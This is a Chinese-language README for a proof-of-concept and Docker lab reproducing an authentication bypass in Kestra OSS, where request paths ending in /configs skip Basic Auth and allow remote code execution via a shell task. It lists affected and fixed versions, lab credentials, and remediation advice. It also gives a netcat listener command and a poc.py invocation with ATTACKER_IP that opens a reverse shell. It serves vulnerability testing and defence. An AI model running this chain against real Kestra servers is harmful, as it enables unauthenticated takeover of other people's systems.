★Kestra OSS AuthenticationFilter 认证绕过漏洞的 PoC 与 Docker 实验环境★
仅在您控制的系统上运行此实验环境。
-p 8080:8080示例可能会将所有主机接口上的易受攻击 API 暴露出来;请阻止来自其他网络的访问。
https://github.com/user-attachments/assets/e8dc29f2-1fd2-49bb-9a61-3ae67ee69865
Kestra 使用 Basic Auth 保护其 API。在受影响的 OSS 版本中,AuthenticationFilter 将任何以 /configs 结尾的请求路径视为公共配置端点。因此,未认证的客户端可以创建一个名为 configs 的 flow,然后通过同样以 /configs 结尾的 API 路径执行它。该 flow 中的 shell 任务可以在 Kestra worker 容器中执行命令。该缺陷及 RCE 利用链在 Kestra 安全公告中有详细描述。
| Kestra OSS 分支 | 受影响版本 | 首个修复版本 |
|---|---|---|
| 1.0.x 及更早 | 早于 1.0.45 | 1.0.45 |
| 1.1.x–1.3.x | 1.1.0 至 1.3.20 | 1.3.21 |
该实验环境使用启用了 OSS Basic Auth 的 v1.3.20。当 Kestra API 可访问时,该问题会影响此认证路径;本地镜像基于 kestra/kestra:v1.3.20。
/configs 结尾的资源;该公告还描述了通过工作流模板进行的 SSRF。容器权限并不意味着主机权限。
该仓库应包含 Dockerfile、entrypoint.sh 和 poc.py 以及本 README。运行目标需要 Docker;PoC 需要 Python 3。无需安装任何 Python 包。
docker build -t cve-2026-49869-lab .
docker run -d --name cve-2026-49869-lab -p 8080:8080 cve-2026-49869-lab
entrypoint.sh 使用仅用于实验环境的账户启用 Basic Auth:
| 用户名 | 密码 |
|---|---|
[email protected] | Eqst123! |
Kestra 要求用户名采用电子邮件格式,密码至少八个字符,包含大小写字母和一个数字。这些凭据仅为本地测试而公开。
等待第一个请求返回 200。第二个请求应返回 401,表明 Basic Auth 保护了普通 API 路径:
curl.exe -sS -o NUL -w "%{http_code}`n" http://127.0.0.1:8080/api/v1/configs
curl.exe -sS -o NUL -w "%{http_code}`n" http://127.0.0.1:8080/api/v1/main/flows/tutorial/notconfigs
如果已停止的容器已使用相同名称,请使用 docker start cve-2026-49869-lab 复用它,或在用 docker run 创建新容器之前移除该容器。
该脚本在无凭据的情况下发送两个请求:一个使用 shell 任务创建或更新 configs/configs,下一个启动其执行。无需任何现有的用户创建的 flow。再次运行该脚本会用相同名称替换实验 flow。
首先,在接收 shell 连接的机器上启动监听器:
nc -lvnp LISTENER_PORT
然后从包含 poc.py 的目录运行 PoC:
python poc.py http://TARGET:8080 --lhost ATTACKER_IP --lport LISTENER_PORT
对于同一机器上的 Docker 实验环境,将 TARGET 替换为 127.0.0.1。将 ATTACKER_IP 设置为容器可访问的 IPv4 地址;该脚本不会启动监听器。脚本会打印执行响应,包括执行 ID。需要在监听器上建立连接才能确认反向 shell 本身是否成功。
记录的本地测试使用了一个无害的 Log 任务来验证认证绕过和工作流执行。它没有运行反向 shell 载荷。
| 检查项 | v1.3.20 | v1.3.21 |
|---|---|---|
| 普通受保护 API,无凭据 | 401 | 401 |
创建 configs flow,无凭据 | 200 | 401 |
启动 configs 执行,无凭据 | 200 | 401 |
| 在受影响版本上的无害任务 | SUCCESS,日志中有标记 | — |
反向 shell 回调不属于这些记录结果的一部分。
在 1.0.x 分支上升级到至少 1.0.45,或在 1.1.x–1.3.x 分支上升级到 1.3.21。上游修复会规范化路径并检查确切的公共配置路由,而不是接受每个 /configs 后缀。在升级完成之前,请限制对 Kestra API 的访问,并仅在代理处允许对预期公共路由的未认证访问。
docker rm -f cve-2026-49869-lab
docker image rm cve-2026-49869-lab